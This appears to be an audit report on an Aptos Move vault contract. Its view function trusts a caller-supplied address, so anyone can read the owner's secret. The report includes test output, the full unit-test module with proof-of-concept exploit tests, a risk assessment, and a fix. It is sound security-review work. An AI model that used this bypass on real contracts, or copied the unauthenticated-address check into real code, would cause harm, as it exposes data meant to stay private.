The contract's intended behavior is for the secret to be accessible only by the owner. However, the get_secret function, marked with #[view], is insecure. View functions can be called by anyone off-chain without a signed transaction. The function's access control check, assert!(caller == @owner, NOT_OWNER), relies on a user-supplied address (caller) rather than an authenticated signer. An attacker can bypass this check by simply providing the owner's address, gaining unauthorized access to the secret.
The following test, when run against the vulnerable contract, fails because the get_secret function does not abort as expected. Instead, it successfully returns the secret, proving the vulnerability. The debug::print output confirms that a non-owner can retrieve the secret.
...
Test result: FAILED. Total tests: 7; passed: 6; failed: 1
A secondary test that passes, test_view_function_exploit, provides direct evidence of data exfiltration by outputting the secret to the console:
The likelihood of this vulnerability being exploited is high.
The exploit does not require any special privileges, complex attacks, or financial resources. An attacker only needs to know the owner's address, which is public on the blockchain. They can then simply call the view function with the owner's address as an argument from any off-chain tool.
Since get_secret is a view function, calling it costs nothing (no gas fees), which means an attacker can attempt to retrieve the secret an unlimited number of times without any penalty. This makes it an attractive and low-risk target for exploitation.
The impact of this vulnerability is high.
The most direct impact is the complete compromise of the "secret" data. The Vault is designed to be a private storage mechanism, but the vulnerability allows anyone to bypass the access control and retrieve the secret, rendering the entire purpose of the contract moot.
The vulnerability allows for the unauthorized reading of sensitive data stored on-chain. While the get_secret function is a view function (read-only), the exploit demonstrates that an attacker can successfully exfiltrate information, which is a significant security breach.
(venv) [ec2-user@ip-172-31-38-67 2025-07-secret-vault]$ nano sources/secret_vault.move
(venv) [ec2-user@ip-172-31-38-67 2025-07-secret-vault]$ aptos move test
INCLUDING DEPENDENCY AptosFramework
INCLUDING DEPENDENCY AptosStdlib
INCLUDING DEPENDENCY MoveStdlib
BUILDING aptos-secret-vault
Running Move unit tests
[ FAIL ] 0x234::vault::test_attacker_cannot_read_secret
[ PASS ] 0x234::vault::test_double_set_fails
[debug] 0x416c6c2074657374732070617373656421
[ PASS ] 0x234::vault::test_secret_vault
[ PASS ] 0x234::vault::test_unauthorized_access
[ PASS ] 0x234::vault::test_value_persists_after_set
[debug] "my_super_secret"
[ PASS ] 0x234::vault::test_view_function_exploit
[ PASS ] 0x234::vault::test_view_function_vulnerability
Test failures:
Failures in 0x234::vault:
┌── test_attacker_cannot_read_secret ──────
│ Test did not error as expected
└──────────────────
Test result: FAILED. Total tests: 7; passed: 6; failed: 1
#[test(owner = @0xcc, user = @0x123)] fun test_secret_vault(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
let secret = b"i'm a secret";
set_secret(owner, secret);
let o = signer::address_of(owner);
let vault = borrow_global<Vault>(o);
assert!(vault.secret == string::utf8(secret), 100);
debug::print(&b"All tests passed!"); }
#[test(owner = @0xcc, user = @0x123)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_unauthorized_access(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
set_secret(owner, b"top secret");
let _ = get_secret(signer::address_of(user));
}
#[test(owner = @0xcc)]
#[expected_failure]
fun test_double_set_fails(owner: &signer) {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
set_secret(owner, b"first");
set_secret(owner, b"second");
}
#[test(owner = @0xcc)]
fun test_value_persists_after_set(owner: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
let s1 = b"persist me";
set_secret(owner, s1);
let v = borrow_global<Vault>(signer::address_of(owner));
assert!(v.secret == string::utf8(s1), 100);
}
#[test(owner = @0xcc, user = @0x123)]
fun test_view_function_vulnerability(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
let secret = b"my_super_secret";
set_secret(owner, secret);
assert!(signer::address_of(user) != signer::address_of(owner), 101);
let retrieved_secret = get_secret(signer::address_of(owner));
assert!(retrieved_secret == string::utf8(secret), 102);
}
#[test(owner = @0xcc, attacker = @0x456)]
#[expected_failure(abort_code = NOT_OWNER)]
fun test_attacker_cannot_read_secret(owner: &signer, attacker: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
set_secret(owner, b"top secret");
let _ = get_secret(signer::address_of(owner));
}
#[test(owner = @0xcc, attacker = @0x456)]
fun test_view_function_exploit(owner: &signer, attacker: &signer) acquires Vault {
use aptos_framework::account;
use std::signer;
use std::debug;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
let secret = b"my_super_secret";
set_secret(owner, secret);
let stolen_secret = get_secret(signer::address_of(owner));
debug::print(&stolen_secret);
assert!(stolen_secret == string::utf8(secret), 101);
}
}
The get_secret function should be an entry function that requires an authenticated &signer argument. This ensures that the caller's address is verified by the Aptos VM, preventing address spoofing and enforcing true access control.